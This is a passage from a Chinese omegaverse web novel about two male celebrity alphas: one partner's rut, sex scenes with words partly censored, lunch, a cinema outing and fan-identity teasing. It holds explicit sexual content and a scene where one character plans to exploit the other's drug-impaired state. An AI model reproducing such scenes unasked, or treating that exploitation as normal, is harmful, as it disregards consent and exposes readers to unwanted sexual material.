对方见到方柏嘉,赶忙一路小跑着过来:“哈喽哈喽,我是汤哥的助理小周, 我们之前见过的。哥让我过来接你, 跟我走吧。” 方柏嘉一怔。不知为什么,觉得对方对他的态度有种说不出的怪异,但一时又说不清,云里雾里地跟在助理身后进了电梯。 小周很快把他送到了门口,手脚麻利地打开门:“汤哥在易感期,我就不进去了, 如果有什么需要的可以微信上跟我说。这是他在车上点的闪送,应该都是需要的物品。” 他从玄关上拿起外卖袋子递给方柏嘉,很识趣地走了。 看着小周又一头扎进电梯里的背影,方柏嘉头顶上缓缓冒出两个问号。 汤昼恒在易感期,对方身为一个根本不会被影响的beta都要避嫌不进门,却默认自己一个alpha会在这里过夜—— 方柏嘉终于明白过来,他从小周这里隐隐约约察觉到的诡异感是从哪来的了。 合着对方是把他当成嫂子了! ……操。方柏嘉晃了晃脑袋。 有点小爽是怎么回事。 方柏嘉打开袋子看了眼。 和他预想的差不多,基本就是一些营养剂、一双男士居家拖鞋,还有……三盒安/全/套。 方柏嘉的脸可疑地红了一下,摘下背包和外套,把拖鞋拿出来给自己换上,随后进了屋。 汤昼恒住的这套首都商圈寸土寸金的平层面积有近三百平米,头一回来的人根本不知道哪儿是哪儿。 然而即使是这样,对于此刻的方柏嘉来说,要找到对方所在的卧室对他来说也轻而易举: 他越往某个方向迈上一步,鼻间能嗅到的水果香气就越鲜明。 及至到了目标房门外,那股樱桃味儿甚至浓得能让鼻塞多年的人瞬间通气。 方柏嘉向内探头。 房内一侧厚厚的窗帘紧闭,什么灯都没开,像个安全感十足的巨大水果罐头,里头洋溢着汤昼恒香甜的樱桃气味。 外面走廊透进来的灯光被门框限定出四方的形状,斜打在屋中的床面,勾勒出一道静静隆/起的人影。 汤昼恒果然就在这里。 方柏嘉来的路上不知道赶上今天首都有什么活动,居然堵了快一个小时的车,等他到达时,据小周说,汤昼恒都已经躺下有一会儿了。 不知道是不是不太舒服的原因,一米八/九那么高的一个人,愣是用整个被子将自己包裹起来。 才步入房间不到半米,方柏嘉的小腿就不由自主地软了半截。他轻咳一声,喊了声“汤昼恒?”,半摸黑走到床边,在附近的墙面上找到壁灯的开关摁开。 柔和低暗的光线像黑暗中一团蓬松的圆形光球,照亮了床头柜上的景色。 方柏嘉往下一望,“咦”了一下。 汤昼恒的床头摆着一盒打开的药片,还有一杯喝过的水,明显是不久前发生的事。 这个人吃什么呢? 他拿起药盒看了眼:“……镇定A类口服抑制剂?” 镇定A类抑制剂,有较强的抑制晴/欲效果。 方柏嘉顿了顿。 脑袋里正转着,汤昼恒察觉到有人进来,从床上窸窸窣窣地坐起来了。 “你来了。” 对方张口,嗓音沙哑低沉得像得了重感冒。 方柏嘉扭头望着他,不可思议地将药盒转向对方:“汤昼恒。” 他第二次直呼对方大名,语气却不一样,分明是要讨个说法。 “你都吃药了干嘛还找我来?!” 换句话说—— 汤昼恒都要和他共度易感期了,干嘛还要用抑制剂? 这不是耍人玩儿吗? 比格大王恼怒,比格大王不可置信,比格大王震惊。 “……不是。”汤昼恒俯身过来抓住他的手腕,方柏嘉这才惊觉他的体温好烫。 虽然有点不情愿,但还是很配合地顺着那阵牵引的力道在床边坐下。 汤昼恒咳嗽了两声,说:“吃这个是为了保险。” “保险?” 汤昼恒向他解释:“我在网上看到说,一些AA中上边的那个会在易感期吃镇定A类,避免在zuo爱的时候太激烈,会伤到另一个,毕竟alpha和omega还是不太一样。我易感期比较比较容易冲动,所以……” 他还没说完,方柏嘉脸就红了。 心中却有点不服,说得好像自己很弱一样,这不是赤/裸裸地看不起他的体力吗? 方柏嘉又举起药盒看了眼。 生效时间四十分钟。 “你吃这个多久了?” “吃的时候应该刚过半点。”汤昼恒抬眼看了下房里的挂钟,方柏嘉也跟他做了同样的动作。 那就还有十多分钟起效。 作为一个经常在网上冲浪的高强度选手,即便汤昼恒不说,方柏嘉也知道这药的作用。 这款抑制剂是一个国外的牌子,据说药性很猛,国内药店没有售卖的,要么自己人/肉带回,要么在网上找代购。因为其强效的镇定作用,在A同圈子里挺火。 据说,A吃了这药,神经会变得迟钝,痛觉也不那么敏感,攻击力会大幅减弱。 不止是上边那个会吃,下面那个也会用,目的是减少被上的那个alpha在过程中产生的不适和挣扎——alpha总之是不像omega那么耐*。 抑制剂虽说四十分钟起效,但也肯定不是一到四十分钟嘎嘣一下才有效果,而是循序渐进的,随着时间的推移慢慢递增。 方柏嘉凑近汤昼恒,睁大眼睛仔细观察。 果然发现他的神情和平时不太一样,虽然看起来仍然可以算作镇定,但仔细分辨一下,目光明显可以看出一丝迷离和茫然。 他的脸色也变了,是很常见的、alpha在陷入易感期时都会有的那种红润,毛细血管kuo张的变化显示在面孔表面,被蒸过的虾一样鲜艳。 方柏嘉撇撇嘴。 暗忖汤昼恒倒是对自己挺自信,他就不怕吃了这药没反ying了? “你……”他犹豫了一下,脱了鞋上床,掀开汤昼恒身上盖着的被子钻进去,当即就要关心他的那里,“还能*吗?” 不等对方做出应答,方柏嘉又已触电似的收回手。 一股樱桃的香气近乎是雾一般在面前的空气中逸散开来,汤昼恒自我调节似的重重深呼吸了两下,几乎是咬着后槽牙地说:“药还没彻底生效之前,不要乱动。” 听起来像是在警告他。 “……” 方柏嘉一下就来劲了,意识到这是个拿捏汤昼恒的好时候。 不让他动?他偏动。 上回汤昼恒在别墅里说过的话,方柏嘉回去越想越有点不爽。 说什么“这是法治社会,管不住下半/身的alpha下场就是进看守所”,吓唬谁呢! 当着方柏嘉的面讲这个,难道是在讽刺他动不动就要找人睡觉是很低级的alpha? 方柏嘉此地无银三百两地心虚并自我代入了,决定好好“惩罚”汤昼恒一下,看看对方的自控力又能比他强到哪去。 反正这人现在也不清醒,还不是自己说什么是什么,方柏嘉可以趁机做一些平时不敢做的事。 他想了想,决定先确认一下汤昼恒目前的意识状态处在什么层面,小心翼翼地冲对方伸出三根手指,说:“这是几,你还认得吗?” “……”汤昼恒抓住他在面前乱挥的手,目光像在看一只比格,“我是变迟钝了,不是变傻。” 看对方突然变得滴溜溜乱转的眼神,汤昼恒就知道,方柏嘉的心里肯定在打一些鬼主意。 也许他以为自己藏得很好,可神态是掩饰不住的。 只是汤昼恒如今状态不佳,光是这样应对起来就已经分身乏术。 下一秒,方柏嘉轻轻长长地“哦——”了一声。 汤昼恒感觉不妙。就见旁边的方柏嘉忽而向他倾身,半边身体都靠在他的肩头。 对方冷不丁像变了个人,手掌探进汤昼恒的上衣。 “不让乱动?为什么不让乱动。如果我乱动,你会怎么样吗?” “你说你容易冲动,是有多冲动?” Alpha长期经过锻炼的肌肉柔软而有弹性,在方柏嘉触及时错愕地绷紧。 汤昼恒呼吸骤停。被人上手的瞬间,额角乃至太阳穴处都能看见隐隐的血管浮起,兼具着成熟和少年感的俊朗面庞上不多时便覆上一层比刚才更明显的红色,下颌线条隐忍地内敛。 没一会儿又像忍耐到了极限,张开嘴巴发出“哈……”的低叹。 就连从口中呼出的热气都如同岩浆一般烧灼,风卷残云般吹拂到方柏嘉面前,将他的脸颊也染上一丝淡粉。 方柏嘉抬起眼,一秒也不错过地打量着对方的神情。 汤昼恒的脸上犹如裹了潮湿的水雾,垂下来的眼睫随着方柏嘉的移动而失/神地颤抖,呼吸间嘴巴张开,难得露出脆弱。 Alpha靠在床头,是光看上半身也能瞧出的高瘦健美,身上穿一件有点修身的白色短T,一眼望去,身材线条的起/伏分明。 方柏嘉到底还是alpha,有那种隐隐恶劣的本能。 见状立刻心里一动,念头刚起,便想也不想地将整条手臂从汤昼恒衣物下方穿过,自他的领口当中伸出,两根在进屋前特地找地方洗干净了的手指压着对方下面的一排牙就伸进去,轻轻按住汤昼恒的舌头。 这么做几乎是出于直觉,可实际上,方柏嘉并没有想好接下来该怎么做。 汤昼恒倒是在愣了一下后迅速反应过来,含/住他的指节,舌头反客为主地在他手指边上转动。 方柏嘉哪被人这样对待过,呼吸立马变得急促,手指下意识地蜷缩想要抽出,被汤昼恒没费什么功夫就追上来,在他屈起的指背贴吻,沿着手指侧面大型犬一样一路亲至内侧。 舌面缓慢划过掌心,在肌肤上留下微黏的痕迹。 他抬起眼,和近处的方柏嘉对视上。 瞥见那人深不见底的目光,方柏嘉整只手都哆嗦了一下。 只一下视线接触,汤昼恒就仿佛被触发了什么程序,不由分说地向着方柏嘉的方向凑过来,低头含住他那两片对他来说异常诱人的嘴唇,又深又重地品尝起他的味道,舌头冲进来,一通轻车熟路的掠/夺与索取。 “唔——” 湿/缠的唇舌搅动声啧啧地响起,对方靠近的瞬间,方柏嘉的大脑呈现出无可救药的空白。 被人堵了个正着,顿时很没骨气地丢盔卸甲,连反抗的姿态都不曾有,就不自觉地仰头迎合起来,脑袋随着对方的攻势向后一点一点。 就这样亲了一会,方柏嘉挣脱着躲开他。 汤昼恒不知满足,还想接着亲,被他伸手捂住了对方的嘴。 Alpha的胸膛兀自激/烈地起伏着,目光幽深地垂眼凝视他。只见那个刚刚还碰到他一下就瑟缩躲开的青年再度伸出手来,这回明显要比上次大胆肆意得多。 方柏嘉惊奇起来:“你怎么把……给剃了?” 指尖所及之处是一片刚冒出头的毛茬,有点扎手,整体也还算是光滑。没有遮挡的手感引起方柏嘉的注意,他皇帝般的疑心病立刻发作:“你没事干这个干什么?” 汤昼恒一愣,似乎还有些不好意思,伏在他耳边轻轻喘/气:“知道你要用,提前处理了一下。” “……” “那上回怎么不见你剃?” “上回没来得及,”汤昼恒低下头,若有似无地蹭着他的唇角,“而且那次你说了扎皮肤,我才弄的。” “你要用”这三个字明显取悦了方柏嘉,嘴角抬起一点压不住的弧度,不由又额外多感受了几秒那新奇的触感。 汤昼恒被他折磨得够呛,忍不住向上抬了抬,这点微妙的异动立刻被方柏嘉所察觉,他高高扬起眉梢,手掌按住汤昼恒的胸口,忽然一个翻身坐在他身上,傲慢地警告汤昼恒说:“药效还没到,你不许动,听见没有?否则……我就不给你*了。” 接着,便模仿起那晚他在别墅喝醉后的举动。 方柏嘉满意地欣赏着汤昼恒脸上的种种反应和表情。 对方说的也没错,他就是要在自己清醒、对方迷糊的时候看情况下菜碟,怎么了? 谁让他那天抓着他讲了那么多大道理。 …… 然而,方柏嘉却低估了自己受到汤昼恒影响的程度。 没过多久,两人变了调的呼吸便不分你我地掺在了一起,像要比着赛地竞争谁更易燃易爆炸似的,一声比一声重。 方柏嘉紊乱的频率和刚才还被他暗中嘲笑的汤昼恒不相上下,只觉房间里热得像是汗蒸房。随着体温升高,血液流动加速,心跳频率变急,紧跟而来的是繁yan的本能—— 他发育异常、自认为是omega的身体在告诉他,现在正是孕/育后代的好时候。 于是润物细无声。 意识到发生了什么的二人同时顿住。 方柏嘉的脸爆红得像番茄,在心里大骂自己那根管道。 妈的别流了。就算流一公升我也生不了! 几分钟前的嚣张气焰倏然就被浇灭,方柏嘉不再像刚才那样气势凛人,窘迫地在汤昼恒面前别开脸。 身体不听他指挥,兀自我行我素得嚣张。 汤昼恒似是再也难以忍受,按着方柏嘉的脖颈将他带下来和自己接吻。 方柏嘉被青年亲得直抖,整个人在信息素的影响下愈发迷乱,搂住对方的脖颈,小狗一样翘起尾巴乱噌。 眼前忽然一片天旋地转,不知怎么就被汤昼恒扭转局面,变成他在下、对方在上的姿势。 方柏嘉惊愕地眨起眼,只见汤昼恒那对向来平静的眼睛紧盯着他,深色的虹膜之下是一片令人心惊的惊/涛骇/浪,一字一顿地说:“四十分钟到了。” 没过几秒。 方柏嘉一颗心提到嗓子眼里,倒吸一口气地慢慢“啊”了出来。 房里的香气明显发生变化。 汤昼恒处在正常状态下时,身上的的信息素气味总是很浅,像日常生活中能吃到的樱桃,气味被一层外皮阻隔,只有凑近了闻,才能嗅到一点淡淡的清香,仿佛刚由青涩气息转熟,尝起来有一闪即逝的酸意。 然而这天晚上,就在汤昼恒家中的卧室内部,果实却很迅速地在某种催化下走向彻头彻尾的成熟,像放了很久的水果变得软/烂,用手指轻轻一戳就会开裂,散出令人目眩神迷的香味。 方柏嘉全身每一寸皮肤肌理都被这股味道浸/润,仿佛人反过来被樱桃吃掉。【你现在阅读的是 】 50-60 第51章 第 51 章 当上嫂子后要做的事。…… 方柏嘉在汤昼恒这边总共待了四天。 开始的头两天, 他们几乎从头*到尾。 方柏嘉起初还觉得汤昼恒吃抑制剂是小题大做,结果实际感受下来,对方吃了也和没吃没什么两样, 甚至不知道是不是药物的作用,使得汤昼恒比以往更加难以满/足—— 变迟钝的神经让alpha获取快*的效率明显变慢, 必须要付出更多努力、花费更多时间才能达到同样的效果。 四十分钟的生效时间一到,方柏嘉立刻就被汤昼恒攥着两边的骨头压进床单, 紧开始了为期数个小时的*伐。 方柏嘉凌晨不到一点过来, 一直和他*到清晨六点, 才堪堪迎来chuan息的机会。 ……真是不知道汤昼恒提前吃药是有先见之明, 还是单纯来折磨方柏嘉的。 方柏嘉也根本没觉得他有哪里被抑制了。 被*得神志不清的alpha在几度差点令他昏死过去的触/感中断断续续陷入沉思。 如果这是抑制后的效果, 那汤昼恒不抑制起来会是什么样? 靠, 好恐怖。 事实证明,作为一个哪怕在易感期也只想着被人*的A,方柏嘉并不理解正常alpha在易感期内的表现。 酒店那次的汤昼恒几乎可以说是有条不紊, 自持有度, 觉得方柏嘉第一次会难以适应, 服务堪称高效整洁一条龙,这回却展现出了方柏嘉未曾见过的狂/热一面。 药物的debuff再加上易感期的增效,令方柏嘉犹如生活在水/深火/热之中, 明明正处在特殊时期的是汤昼恒, 他却也仿佛也被勾起日程外的意外发*,神智随之蒸发到九霄云外,全程都昏昏沉沉。 方柏嘉活了二十三年,从来没感觉自己这么*乱过。 这几天两人过得简直像是没开智的动物,就没怎么停下来过,实在饿得不行了, 才开一袋营养剂补充能量,结果还没等再多缓一会儿,马上又被汤昼恒按着*下去…… 几次*完方柏嘉都直接带着满tui的痕迹累得当场睡着,休息了大概五六个小时,才从上一轮中缓过来些,汤昼恒就再次凑上来把方柏嘉抱在怀里。方柏嘉闭着眼和对方接了会儿吻,迷迷糊糊间又被他bai开接着*。 Alpha的体质虽然相较omega有所不足,但方柏嘉的体能又弥补了这一点。 这期间,他们试过了从前面,从后/面,从侧边。甚至有一回,方柏嘉实在受不了身上的东西,让汤昼恒抱着他去冲洗,结果洗着洗着又让对方an在墙上*进来。 浴室的玻璃表面几经被水蒸气蒙上一层白雾,也几经被热水浇打干净。 结束后方柏嘉被汤昼恒面对面地抱进备用客房,又是一轮蓄/势。 …… 第四天早上,方柏嘉一睁开眼,就感觉自己的全身都像被拉练过一样,哪儿哪儿都难受。 前一晚睡足了觉,他早晨八点多就醒了一回,但因为身上不舒服,又趴在床上哼哼唧唧了好一会儿。 一直到快中午十二点,汤昼恒才把他薅起来道: “今天就不喝营养剂了,也别点外卖。你难得来一次,我简单做点吃的——你想吃什么?” 相比起方柏嘉仿佛被人吸干精气/的无精打采,汤昼恒简直就是超人,前几天才在床上消耗那么多体/力,这天还是早早地就起来了,在屋里屋外进进出出地忙个不停。 方柏嘉仰起头,神情中先是闪过一丝惊讶,眼睛亮了亮,随后又想到什么,有气无力地摇摇脑袋。 “不想吃?”汤昼恒诧异。 “不知道要吃什么。”方柏嘉蔫答答地说,“身上不舒服,吃什么都没胃口。你看着做吧。” “……” 汤昼恒想了想:“番茄柠檬冷面怎么样?这个清爽一点,适合这个季节吃。” 方柏嘉想了想,同意了。汤昼恒便拿出手机,下单了需要用到的食材。 等了二十分钟送货上门,他立刻挽起袖子制备起来。 这里虽然理论上是他的住处,但其实汤昼恒一年到头大多月份都在外面工作,真正住在平层里的时间加起来可能还不到两个月,除了一些能放比较久的必需调料,其余的都要重新买。 方柏嘉本来还懒洋洋的没什么精神,听说汤昼恒要下厨,也艰难地从床上爬起来了,围在开放式厨房的台边,转来转去地看着他做菜: 先把买来的番茄切块炒碎,在锅里挤进番茄酱和水一块熬炖;同时另起一锅,将适合两人分量的减脂荞麦面下锅后过冷水,顺便再煮两个溏心蛋。 等番茄汤汁放凉之后,就可以将面倒入,加入盐、生抽、蒜末和姜蓉等等调味品——最重要的灵魂是挤上新鲜的青柠汁。 最后再码上切好的黄瓜丝、切成两半的水煮蛋和装饰用的柠檬片,一顿简单的午饭就大功告成了。 方柏嘉状似矜持地坐在岛台边等待开动。 汤昼恒转身在洗菜池里清洗厨具的功夫,他趁其不备,立刻掏出手机,从上往下地对着岛台上并排摆放的一对碗飞快拍了两张照片,又在对方回身前迅速将手机收好。 “那我开吃了?” 汤昼恒将剩下不会再用到的新鲜食材又重新装进袋子里,说等小周来了看看他有什么能用的就带回去,免得浪费。 方柏嘉听他提到小周,忽然又想起什么来,夹起一筷子荞麦面,迟疑着问:“你跟小周提过我跟你的事吗?” “嗯?”汤昼恒正在看手机上来的新信息,闻言抬了下眼,“怎么,他跟你说什么了吗?” 方柏嘉:“不是,就是那天他来接我的时候,感觉他表现得好像,嗯,知道些什么的样子。” 他尽量说得委婉。 汤昼恒歪着脑袋想了下:“我没跟他提过。” 方柏嘉“啊”了一声,低头把面条送进嘴里。 汤昼恒:“毕竟要描述我们现在的身份也很困难吧,总不可能告诉助理说我和你是还没在一起但会定期上/床的同事。” “…………” “咳、咳!”方柏嘉冷不丁被卡在嗓子眼里的面条呛到,抓起手边的水杯喝了一口顺气。 汤昼恒现在说话怎么这么直接。 方柏嘉有一瞬间觉得对方是不是在暗示什么,可那人只是示意着从远处推来抽纸,面色毫无变化地说:“不过他自己应该也能猜出来。一个alpha在另一个alpha易感期时去他家这种事,大概很难有别的解释。” “。”方柏嘉惊疑不定地拿起张纸擦了擦嘴。 “……那倒也是。” 忆及小周在地下车库一见面就对他“嘘寒问暖”,无比热情,但走时的背影也不乏肉眼可见的风中凌乱,想也知道当对方看见上门来找汤昼恒的居然是他时该有多震惊。 方柏嘉的心中一时尴尬与浮想联翩齐舞,心态有点微妙。 要知道,助理这种角色,基本上是艺人身边最亲近的存在,上到负责对接各种日常安排、吃喝住行,下到帮艺人挡狗仔找嫂子谈恋爱,碰上那种谈得勤的,恋爱对象都换了十位了,助理可能还是那铁打的一个。 而汤昼恒居然就这么让小周亲眼目睹了他们之间的关系—— 怎么说呢,方柏嘉有种自己被默认了般的感觉。 老天别让他爽到了。 汤昼恒还以为方柏嘉问这个是因为别的:“小周跟了我挺久的,他嘴很严,你不用担心。” “我也不是担心他会乱说……”方柏嘉嘴里叽里咕噜地动了两下,还是决定不解释了。 他嘴上说没胃口,但真到了饭点,也还是觉得饿,汤昼恒又把面做得十分凉爽开胃,一碗冷面还是很快见了底。 方柏嘉觉得自己不能就这么白嫖一顿饭,用完餐主动提出要帮汤昼恒洗碗。 刚起身将他用过的筷子收回的alpha眉梢一挑,上下打量方柏嘉一眼道:“不是说腰都酸得直不起来?我两下就洗好了,你去玩吧。” 说完,转身面对着洗菜池去了。 方柏嘉从善如流,立刻就被汤昼恒给说服了,却没有马上走人。 心中倏然涌上冲动,他蹑手蹑脚地绕过岛台,悄悄来到对方身后,忽地偷袭般地从后边拦住他修长劲瘦的腰,低下头,侧边的脸颊贴在汤昼恒后背靠近斜方肌的那块蹭了蹭。 “哥哥,你刚才说那句话的样子好帅啊。” Alpha身上的体温常年维持在偏高的范围,方柏嘉与之相贴的脸上也不由染上一抹热意,心脏咚咚跳得飞快。 他觉得自己也是脑子有病了,怎么汤昼恒干个什么他都心花怒放。 ……也可能他就是单纯被暧昧关系中急速爆发的激素影响,想找个理由和汤昼恒进行身体接触。 做完这件事,他一撩即退,像也觉得自己这句话乃至这个举动都没头没脑,如同突然凑过来在人跟前一通乱/蹭的什么小动物,话音一落,当即我行我素地迅速收手溜走。 “……” 汤昼恒立在原地,沉默着回味了半晌。 更多的是不解。 他就洗个碗就帅上了?几个意思? 方柏嘉的阈值也未免太低了点。 * 前几天*得太厉害,方柏嘉坐在椅子上,始终觉得屁/股那里不太舒服,离开餐厅后就近又在客厅沙发上趴下了,怀里抱着个枕头支起上半身,转头拿起手机打开微博小号,复制了一条玩梗文案,稍微编辑了下发送上去。 【我当上嫂子后要做的事:1.忘本,2.落井下石,3.蹬鼻子上脸,4.好吃懒做,5.蛮横无理,6.恃宠而骄,7.当老公奴,8.让老公天天做饭给我吃^^】 配图是他刚才拍的午餐照片。 爽了。 方柏嘉长出口气,无比满足地跳去别的APP继续刷帖。 汤昼恒洗完碗,径自回了卧室,不知道在收拾些什么。 过了一会儿再出门,才发现方柏嘉转移阵地到了沙发上,朝他走过去说:“吃完饭别立刻躺下。” 方柏嘉不置可否地“唔”了一声。 几秒钟后,忽然道:“一直这么看手机好累啊,你把你这里的收货地址给我一下。” “怎么了?” 汤昼恒来到近前,见方柏嘉没有躲避的意思,侧头看了眼他的手机屏幕。 方柏嘉在购物网站上浏览那种中间有个洞可以把脸埋进去的美容床。 “。” 倒也不至于这样。 “我等会儿转给你。”汤昼恒稍微俯身,轻轻戳了戳方柏嘉这侧的肩膀,“刚才跟你说的话听见没有?” 他嗓音温和,很有耐心,却有种让人不容忽视的力量。 方柏嘉把头埋在面前的枕头里耍赖。 “我没有躺啊,我是趴着的。” “躺着趴着难道不都一样?” 汤昼恒从他手里抽出手机,握着他的两个手腕,示意方柏嘉先起来:“你这么压着肚子不难受吗?” 方柏嘉听到这话,终于抬头,带着一脸淡淡死意和哀怨地看着他:“我要是不这样,屁/股更难受。 说话间,谴责的目光几乎如同实质,就差把“也不想想是谁让我这么难受的”一行字写在脸上。 “…………” 汤昼恒避开对方的目光,手上却没有因此心软,托着他两条胳膊的腋下将人给拎起来。 方柏嘉也不反抗,软绵绵一个瘦长条挂在来人身上,下巴顺势搭在他的肩头。 “要不然你起来,和我出去散会儿步。”汤昼恒想了想,“你想不想看电影?附近有家不错的电影院。” “电影?”方柏嘉的大脑一时没转过来,下意识道,“看什么,《恶魔捕手》吗?” 《恶魔捕手2》,是汤昼恒参演的最近上映的电影名,也是他先前和名叫唐宋的omega演员传出绯闻的由来。 影片改编自系列推理小说,《恶魔捕手1》是汤昼恒几年前还没靠当爱豆大火时少有地撕到的不错的资源,他在其中饰演男四,虽然镜头不多,但人物形象讨喜,算是很能攒口碑的啃老本,不出意外后面还会出不止一部续作。 方柏嘉这段时间太忙,作为汤昼恒的忠实粉丝,还没来得及去看过电影。 他一念出影片名字,汤昼恒的眼里立刻带上探询:“你想去吗?” 方柏嘉愣了愣,一句话想也不想地脱口而出:“我去干嘛,看你和别人的感情戏啊?” 他说完才觉得不对,这话是不是显得有点太酸溜溜了? 方柏嘉忐忑地琢磨了一下,就见汤昼恒忽而眯起眼,问出了他意想不到的内容。 “不是从来不看我演的东西吗,你怎么知道我和别人有感情戏?” 第52章 第 52 章 又管谁叫老公去了。…… 方柏嘉瞬间在心里“我操”了一声。 忘了有这回事了。 他在采访的时候明确说过自己对这些东西不感兴趣的。 虽然那是一时气话, 但事后要找补起来也有点困难。 方柏嘉总不可能跟汤昼恒直接坦白,其实我是你的超级梦男加粉丝,你的每部作品我都起码看过三遍以上吧? 那他也太没面子了! 一来显得方柏嘉十分情绪化不说, 二来,这样不就暴露他隐瞒了这么久的秘密了? 想也知道, 汤昼恒在得知这件事后一定会很得意。 方柏嘉甚至能想象出他那会儿的表情—— 对方高兴的时候,暗爽的心情会写在脸上。像只莫名有点讨打的英俊大狗, 只是淡淡地扬扬眉和翘翘嘴角, 都有种能把人看得羞愤欲死的能力。 方柏嘉远没到做好心理准备的时候。 他就像是一时冲动闯完祸才知道自己错了的比格, 陷入进退两难的境地中。 好在汤昼恒的这个疑问也不是特别难以找借口解答, 方柏嘉慌张又讶异地飞快连眨了两下睫毛, 急中生智道: “你们片方自己那么宣传的, 我在APP上都刷到了,不对吗?就是那种主角团里老土的年轻打闹小情侣的设定嘛。” “而且你前不久不是才和人传过绯闻。”后面这句话方柏嘉本来不该说,结果还是没有忍住地多此一举, “热搜上营销号都写了啊, 戏内情侣延伸到戏外——” 他一个没控制住, 最后这几个字说得阴阳怪气了些,尾音拖得老长又缥缈。 方柏嘉自知表现有些夸张,指背捂住嘴咳嗽两下。 汤昼恒果然也察觉到他的小情绪, 原本搂在方柏嘉身侧的一只手搭在他后脖颈上, 将人脑袋转过来,轻声道:“你吃醋了?” “演戏而已,我有什么好吃醋的。” 方柏嘉不自然地推开他的手,移开目光,看向汤昼恒身后的空气。 过了几秒,像为了证明什么似的又道:“……看就看, 有什么大不了的。你等我准备一下。” 说完,他双手按在汤昼恒的肩膀上直起身,一条腿接着一条腿地从沙发上下来,踩住拖鞋。 边穿边小声咕哝:“说什么吃完饭不让立刻躺着,等人喝完营养剂就又把人拉回来*的时候你可不是这么说的——” 汤昼恒:“你说什么?” “啊?没什么啊。”方柏嘉立刻做正经脸,无辜地冲他看过来道,“你看票吧,我去换身外出的衣服。” 说完,一溜烟跑进卧室。 他答应得如此轻快,理由也很简单。 作为汤昼恒的梦男兼粉丝,方柏嘉势必不可能错过对方的任何一部作品。 然而他自从当上明星,走在路上随时都有可能被认出,就几乎很少再来过实体影院—— 自己从出道起就表现得和对方不对付,私下里却被偶遇的路人发现他偷偷来看汤昼恒参演的电影,不知道有多尴尬和诡异。 然而如今,饭圈里都传他和汤昼恒关系缓和,一起出来观影,估计也没人会觉得太奇怪。 小区位于繁华的商圈之中,周边各种设施齐全便利,步行不到八百米就是购物中心。 汤昼恒不想太惹眼,在手机上买的最近一场最后几排的座位,两人卡点赶在开场前最后几分钟进来,坐下没一会儿电影就开始了。 汤昼恒说是和别人有感情戏,其实戏份真的不多,也没什么亲密互动,更像是作为推动剧情发展的背景设定出现,毕竟《恶魔捕手》是以血腥猎奇犯罪题材为卖点的悬疑影片。 方柏嘉不知不觉就被故事吸引进去,看得很认真。 观赏到情节精彩处,身体不自觉地向前倾斜了四十五度,双臂搭在张开的膝盖上十指合拢,好像这样就能摄取到更多的细节。 下一个场景冷不丁切到汤昼恒和唐宋饰演的情侣说笑打闹的画面。 “……”方柏嘉几乎是想也不想地、面无表情地坐回来,后背猛一下重新靠上椅背。 许是他动作幅度太大,汤昼恒不由侧头看了他一眼。 接收到对方的目光,方柏嘉扭脸和他对视两秒,脸上的表情不大自然。 轻轻说了声“干什么?”,掩饰性地抓起座椅旁边的饮料喝了口,视线又看回大银幕。 汤昼恒不像方柏嘉,第一次看电影,什么细节都不想落下。这片子他在刚上映时就看过不止一遍,早已没有新鲜感。因此得以时不时抽出空来,端详方柏嘉的表情。 这一看,还真被他看出门道。 大银幕上每每闪现过片刻他和另一个演员有感情互动的场景,方柏嘉都一脸的微妙。 影片播到最后的大结局,从变态杀人魔手中逃出来的omega演员和汤昼恒拥抱在一起,开始互诉衷肠。 想到汤昼恒就在旁边,他没再敢表现得太明显,只在座位上深吸了一口气,不可控制地把眼睛眯成一个“= =”的形状。 汤昼恒伸手轻轻碰了碰他。 方柏嘉还没大反应过来,维持着“= =”的状态转过头,苦大仇深地和汤昼恒对视。 汤昼恒直接“噗嗤”一声对着他笑了。 方柏嘉看着他忍俊不禁的神情,才意识到自己在做什么,赶忙晃了晃头,把拧起的眉眼松开,五官恢复到原状。 他尴尬得恨不得找地方钻进去,低声道:“你笑什么?” 汤昼恒努力敛了笑摇摇头。 外面不方便讲话,一直等回到家里,他才又提起这事,低声问方柏嘉道:“你就这么不喜欢看我跟别人演情侣?” 汤昼恒语气戏谑,甚至带了些不可思议道:“哪怕根本没有亲密戏——” 方柏嘉脸上瞬间“蹭”地发热,心说你懂什么,我们铁血梦男就是看不得正主和别人有一点超出接受范围的互动。 牵手不行,拥抱不行,含情脉脉不行,超过三秒的对视不行,真的不行,假的也不行,不行就是不行。 否则还算什么梦男。 他撇撇嘴道:“……我是觉得有些设定根本就没必要。我看过原著,这个作者写正常剧情的时候都好好的,一写到感情戏就发展得特别生硬,他根本就不会谈恋爱嘛。包括主角也是,就为了要凸显他的alpha气概,让他一边和前妻藕断丝连一边和同事暧昧,导演居然还原模原样地翻拍出来了,明明把这些线全删了也根本不影响……” 方柏嘉像模像样地点评了半晌,最后总结:“最烦这些动不动膈应人一下的死直A。” 周围的空气突然安静。 好几秒没有得到回应,方柏嘉正思索着自己的点评是不是太不留情面,他回过头去,就见汤昼恒落在身后三四米远处,正一脸若有所思地看着自己。 “怎么了?”方柏嘉突然有点不安。 汤昼恒朝一旁歪了歪头,有些意味不明地说:“没什么。就是你刚才的语气让我想到了一个人。” “谁?”方柏嘉一下没明白过来,不解地问。 汤昼恒说:“我以前的一个粉丝。” “………………” 仿佛突然被人按下暂停。 不详的预感冷不丁降临在他头顶,方柏嘉迟疑半晌,艰难地吐出一个:“……哦?” 汤昼恒朝他走过来:“反应这么平淡,你不好奇吗?” “呃——好、好奇啊。” 方柏嘉大脑疯狂转动,心说这是什么情况?怎么突然提起粉丝了? “只不过我在等你接着往下说。” 汤昼恒不知道是不在意还是没看出方柏嘉瞬间僵硬的姿态,“嗯”了一声,自顾自闲聊一般地往下回忆:“这个粉丝,如果我没记错,年纪和我差不多大。我一开始记住他,就是因为他特别爱管我叫‘老公’,还隔三差五就给我发好多私信,有时候看完我演的作品也会往我这里发一些感想什么的。” “有段时间我接连播了两部和爱情有关的青春偶像剧,结果他就在私信里一直跟我发,‘老公不要再接偶像剧了我的心都碎成一片一片的了’……” “你别说了!” 亲耳听到这样的句子被正主本人读出来,方柏嘉的反应不亚于被当面处刑,一张脸憋得爆红,实在听不下去,打断了他。 随后意识到自己的反应太可疑,他又补充:“我的意思是,嗯,这种雷人的细节你就不用复述了。那个,话说你——” 这个“你”字拖长了半天,方柏嘉几乎舌头打结:“……居然还看粉丝的私信啊?” “如果我有几千万粉,我不会看,太多私信我翻不过来,但我那个时候才只有五十万粉。”汤昼恒用稍带玩味的神色打量着方柏嘉说,“经常给我发消息的粉丝我都很眼熟。” 经常。发消息。都眼熟。 方柏嘉整个人都呆了。 “那你——”他下意识想说,你都看私信了为什么从来不回复! 